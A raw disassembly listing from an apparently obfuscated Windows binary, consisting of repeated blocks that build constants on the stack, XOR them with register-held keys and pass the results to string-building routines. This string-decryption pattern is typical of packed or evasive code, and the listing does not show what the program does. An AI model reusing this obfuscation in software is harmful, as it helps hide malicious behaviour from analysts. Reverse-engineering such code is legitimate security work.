vmovdqa ymmword [rbp + 0x1fa0], ymm1
lea rdx, [rbp + 0x1fa0]
lea rcx, [rbp + 0x4770]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x26c], al
mov byte [rbp + 0x26d], al
movabs rax, 0xe33e5bfacbf13d87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fc0], rax
movabs rax, 0x3ce3e5f87a336c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fc8], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fd0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1fd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd080], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd088], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd090], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd098], rax
vmovdqu ymm0, ymmword [rbp + 0xd080]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fc0]
vmovdqa ymmword [rbp + 0x1fc0], ymm1
lea rdx, [rbp + 0x1fc0]
lea rcx, [rbp + 0x4750]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4770]
lea rcx, [rbp + 0x7df0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4750]
lea rcx, [rbp + 0x7dd0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa000]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x26e], al
mov byte [rbp + 0x26f], al
movabs rax, 0xfe495bfbcbfd22bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fe0], rax
movabs rax, 0x38e294fe225c4685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1fe8], rax
movabs rax, 0xfb38a9272c29db25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1ff0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1ff8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd0a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd0a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd0b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd0a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1fe0]
vmovdqa ymmword [rbp + 0x1fe0], ymm1
lea rdx, [rbp + 0x1fe0]
lea rcx, [rbp + 0x4730]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x270], al
mov byte [rbp + 0x271], al
movabs rax, 0xfc455ffdcdf13dbe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2000], rax
movabs rax, 0x3ce3e5fe62237c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2008], rax
movabs rax, 0xfb38a9276445be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2010], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2018], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd0c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd0c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd0d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0d8], rax
vmovdqu ymm0, ymmword [rbp + 0xd0c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2000]
vmovdqa ymmword [rbp + 0x2000], ymm1
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0x4710]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4730]
lea rcx, [rbp + 0x7db0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4710]
lea rcx, [rbp + 0x7d90]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa040]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x272], al
mov byte [rbp + 0x273], al
movabs rbx, 0xe03a5ffb8bd74787
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2020], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2028], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2030], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2038], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd0e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd0e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd0f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd0e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2020]
vmovdqa ymmword [rbp + 0x2020], ymm1
lea rdx, [rbp + 0x2020]
lea rcx, [rbp + 0x46f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x274], al
mov byte [rbp + 0x275], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2040], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2048], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2050], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2058], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd100], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd110], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd118], rax
vmovdqu ymm0, ymmword [rbp + 0xd100]
vpxor ymm1, ymm0, ymmword [rbp + 0x2040]
vmovdqa ymmword [rbp + 0x2040], ymm1
lea rdx, [rbp + 0x2040]
lea rcx, [rbp + 0x46d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x46f0]
lea rcx, [rbp + 0x7d70]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x46d0]
lea rcx, [rbp + 0x7d50]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa080]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x276], al
mov byte [rbp + 0x277], al
movabs rbx, 0xfc292af8d3e946be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x4dd6a69c223346bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb120], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb128], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
pxor xmm0, xmmword [rbp + 0xb120]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x46b0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x278], al
mov byte [rbp + 0x279], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2060], rax
movabs rax, 0x70ebc1fe642b4587
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2068], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2070], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2078], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd120], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd128], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd130], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd138], rax
vmovdqu ymm0, ymmword [rbp + 0xd120]
vpxor ymm1, ymm0, ymmword [rbp + 0x2060]
vmovdqa ymmword [rbp + 0x2060], ymm1
lea rdx, [rbp + 0x2060]
lea rcx, [rbp + 0x4690]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x46b0]
lea rcx, [rbp + 0x7d30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4690]
lea rcx, [rbp + 0x7d10]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa0c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x27a], al
mov byte [rbp + 0x27b], al
movabs rbx, 0xfc102af8c1e90f87
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2080], rax
movabs rax, 0x70e694fe78505285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2088], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2090], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2098], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd148], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd150], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd158], rax
vmovdqu ymm0, ymmword [rbp + 0xd140]
vpxor ymm1, ymm0, ymmword [rbp + 0x2080]
vmovdqa ymmword [rbp + 0x2080], ymm1
lea rdx, [rbp + 0x2080]
lea rcx, [rbp + 0x4670]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x27c], al
mov byte [rbp + 0x27d], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20a0], rax
movabs rax, 0x38ef94ff63505285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x20b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd160], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd168], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd170], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd178], rax
vmovdqu ymm0, ymmword [rbp + 0xd160]
vpxor ymm1, ymm0, ymmword [rbp + 0x20a0]
vmovdqa ymmword [rbp + 0x20a0], ymm1
lea rdx, [rbp + 0x20a0]
lea rcx, [rbp + 0x4650]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4670]
lea rcx, [rbp + 0x7cf0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4650]
lea rcx, [rbp + 0x7cd0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa100]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x27e], al
mov byte [rbp + 0x27f], al
movabs rbx, 0xfe185ffdd3d34784
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20c0], rax
movabs rax, 0x70e694fe78506882
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x20d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd540], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd548], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd558], rax
vmovdqu ymm0, ymmword [rbp + 0xd540]
vpxor ymm1, ymm0, ymmword [rbp + 0x20c0]
vmovdqa ymmword [rbp + 0x20c0], ymm1
lea rdx, [rbp + 0x20c0]
lea rcx, [rbp + 0x4630]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x280], al
mov byte [rbp + 0x281], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20e0], rax
movabs rax, 0x38ef94ff63506882
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x20f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc0c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc0d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc0d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20e0]
vmovdqa ymmword [rbp + 0x20e0], ymm1
lea rdx, [rbp + 0x20e0]
lea rcx, [rbp + 0x4610]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4630]
lea rcx, [rbp + 0x7cb0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4610]
lea rcx, [rbp + 0x7c90]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa140]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x282], al
mov byte [rbp + 0x283], al
movabs rax, 0xf02e4fd58eed47bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2100], rax
movabs rax, 0x39ef94c567241884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2110], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2118], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd580], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd588], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd590], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd598], rax
vmovdqu ymm0, ymmword [rbp + 0xd580]
vpxor ymm1, ymm0, ymmword [rbp + 0x2100]
vmovdqa ymmword [rbp + 0x2100], ymm1
lea rdx, [rbp + 0x2100]
lea rcx, [rbp + 0x45f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x284], al
mov byte [rbp + 0x285], al
movabs rax, 0xff3650c38eed47bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2120], rax
movabs rax, 0x38ef94ff63506885
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2128], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2130], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2138], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd5a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd5a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd5b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd5b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2120]
vmovdqa ymmword [rbp + 0x2120], ymm1
lea rdx, [rbp + 0x2120]
lea rcx, [rbp + 0x45d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x45f0]
lea rcx, [rbp + 0x7c70]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x45d0]
lea rcx, [rbp + 0x7c50]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa180]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x286], al
mov byte [rbp + 0x287], al
movabs rbx, 0xe02a50fd8a8222b8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2140], rax
movabs rax, 0x70e694fe785078bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2148], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2150], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2158], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd5c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd5c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd5d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd5d8], rax
vmovdqu ymm0, ymmword [rbp + 0xd5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2140]
vmovdqa ymmword [rbp + 0x2140], ymm1
lea rdx, [rbp + 0x2140]
lea rcx, [rbp + 0x45b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x288], al
mov byte [rbp + 0x289], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2160], rax
movabs rax, 0x38ef94ff635078bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2168], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2170], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2178], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd5e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd5e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd5f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd5f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2160]
vmovdqa ymmword [rbp + 0x2160], ymm1
lea rdx, [rbp + 0x2160]
lea rcx, [rbp + 0x4590]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x45b0]
lea rcx, [rbp + 0x7c30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4590]
lea rcx, [rbp + 0x7c10]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa1c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x28a], al
mov byte [rbp + 0x28b], al
movabs rax, 0xb40b5ffacefa46b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb130], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb138], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
pxor xmm0, xmmword [rbp + 0xb130]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x4570]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x28c], al
mov byte [rbp + 0x28d], al
movabs rax, 0xff3276f8cefa46b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x4dd6a69c2f584c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb148], rax
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0xb140]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x4550]
call fcn.180004520
nop
lea rdx, [rbp + 0x4570]
lea rcx, [rbp + 0x7bf0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4550]
lea rcx, [rbp + 0x7bd0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa200]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x28e], al
mov byte [rbp + 0x28f], al
movabs rbx, 0xf0322bfad3c34784
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2180], rax
movabs rax, 0x3bb2cbd0665c1984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2188], rax
movabs rax, 0x910dfa7d6218be25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2190], rax
movabs rax, 0xa617ae62d90746ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2198], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd680], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd688], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd690], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd698], rax
vmovdqu ymm0, ymmword [rbp + 0xd680]
vpxor ymm1, ymm0, ymmword [rbp + 0x2180]
vmovdqa ymmword [rbp + 0x2180], ymm1
lea rdx, [rbp + 0x2180]
lea rcx, [rbp + 0x4530]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x290], al
mov byte [rbp + 0x291], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x21a0], rax
movabs rax, 0x37a6cbd0665c1984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x21b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x21b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd6a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd6a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd6b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd6b8], rax
vmovdqu ymm0, ymmword [rbp + 0xd6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x21a0]
vmovdqa ymmword [rbp + 0x21a0], ymm1
lea rdx, [rbp + 0x21a0]
lea rcx, [rbp + 0x4510]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4530]
lea rcx, [rbp + 0x7bb0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4510]
lea rcx, [rbp + 0x7b90]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa240]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x292], al
mov byte [rbp + 0x293], al
movabs rbx, 0xf33240c3c2e946be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x21c0], rax
movabs rax, 0x3a90cbd07b236c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21c8], rax
movabs rax, 0xfb38a9272c41cd24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x21d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd6c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd6c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd6d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd6d8], rax
vmovdqu ymm0, ymmword [rbp + 0xd6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x21c0]
vmovdqa ymmword [rbp + 0x21c0], ymm1
lea rdx, [rbp + 0x21c0]
lea rcx, [rbp + 0x44f0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x294], al
mov byte [rbp + 0x295], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x21e0], rax
movabs rax, 0x37a6cbd07b236c84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x21f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x21f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd6e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd6e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd6f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd6f8], rax
vmovdqu ymm0, ymmword [rbp + 0xd6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x21e0]
vmovdqa ymmword [rbp + 0x21e0], ymm1
lea rdx, [rbp + 0x21e0]
lea rcx, [rbp + 0x44d0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x44f0]
lea rcx, [rbp + 0x7b70]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x44d0]
lea rcx, [rbp + 0x7b50]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa280]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x296], al
mov byte [rbp + 0x297], al
movabs rbx, 0xfc452ac3c2fd22bf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2200], rax
movabs rax, 0x70a1e1ff67557cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2208], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2210], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2218], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd700], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd708], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd710], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd718], rax
vmovdqu ymm0, ymmword [rbp + 0xd700]
vpxor ymm1, ymm0, ymmword [rbp + 0x2200]
vmovdqa ymmword [rbp + 0x2200], ymm1
lea rdx, [rbp + 0x2200]
lea rcx, [rbp + 0x44b0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x298], al
mov byte [rbp + 0x299], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xb00], rax
movabs rax, 0x3b98c8fd67557cbc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb08], rax
movabs rsi, 0xfb38a9272c41eb25
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xbb40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xbb48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbb50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xbb58], rax
vmovdqu ymm0, ymmword [rbp + 0xbb40]
vpxor ymm1, ymm0, ymmword [rbp + 0xb00]
vmovdqa ymmword [rbp + 0xb00], ymm1
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x4490]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x44b0]
lea rcx, [rbp + 0x7b30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4490]
lea rcx, [rbp + 0x7b10]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xa2c0]
call fcn.180042fa0
nop
lea rcx, [rbp + 0x29a]
call fcn.180004580
mov rbx, rax
lea r8, [rbp + 0xa300]
lea rdx, [rbp + 0x9880]
lea rcx, [rbp + 0x8d40]
call fcn.18003e4c0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x2dd0], xmm0
mov r8, rbx
lea rdx, [rbp + 0x2dd0]
lea rcx, [rbp + 0xa3f8]
call fcn.18003f760
nop
lea r9, [fcn.18003dd20]
mov edx, 0x40
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x9880]
call fcn.18012c140
nop
lea rcx, [rbp + 0x7b10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x4490]
call fcn.180040870
nop
lea rcx, [rbp + 0x44b0]
call fcn.180040870
nop
